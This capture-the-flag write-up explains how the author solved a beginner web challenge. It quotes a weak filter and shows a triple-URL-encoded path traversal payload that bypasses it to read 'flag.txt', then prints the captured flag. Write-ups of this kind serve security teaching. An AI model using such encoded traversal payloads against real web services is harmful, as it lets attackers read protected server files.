## Beginner/secret_of_j4ck4l (326 solves)Created by: `j4ck4l`
> I left a message for you. You will love it definitely
`http://x.x.x.x:8003/read_secret_message?file=message`
This is a website that seems to read a local file from a parameter `file`, so immediately keeping an eye out for LFI before looking at the source code.
The code has a very... interesting filtering system.```pythondef ignore_it(file_param):	yoooo = file_param.replace('.', '').replace('/', '')	if yoooo != file_param:		return "Illegal characters detected in file parameter!"	return yoooo
def another_useless_function(file_param):	return urllib.parse.unquote(file_param)
def useless (file_param):	file_param1 = ignore_it(file_param)	file_param2 = another_useless_function(file_param1)	file_param3 = ignore_it(file_param2)	file_param4 = another_useless_function(file_param3)	file_param5 = another_useless_function(file_param4)	return file_param5```
The issue with this 'filtering' is its incredibly reliant on just, hoping nobody tests it. The `ignore_it` function filters all instances of `.` and `/` found in the URL, but not for recursive URL encoding. Due to % in hex being `25` we can apply repeated url encoding to get our payload to bypass the filter.
Payload: `%25252e%25252e%25252fflag%25252etxt`
In the server the payload is parsed as follows: (each line is a line in the 'useless' function)
```file_param = %25252e%25252e%25252fflag%25252etxtfileparam1 = %252e%252e%252fflag%252etxtfileparam2 = %2e%2e%2fflag%2etxtfileparam3 = %2e%2e%2fflag%2etxtfileparam4 = ../flag.txtfileparam5 = ../flag.txt```
After sending we get our flag back: `flag{s1mp13_l0c4l_f1l3_1nclus10n_0dg4af52gav}`
**Files:** [public.zip](https://web.archive.org/web/20231218155757/https://backdoor.infoseciitr.in/uploads?key=b0e84ea81114b302036097a2b11d446a0f82ead89ebc09a5bfc9ed70a4601607%2Fpublic.zip)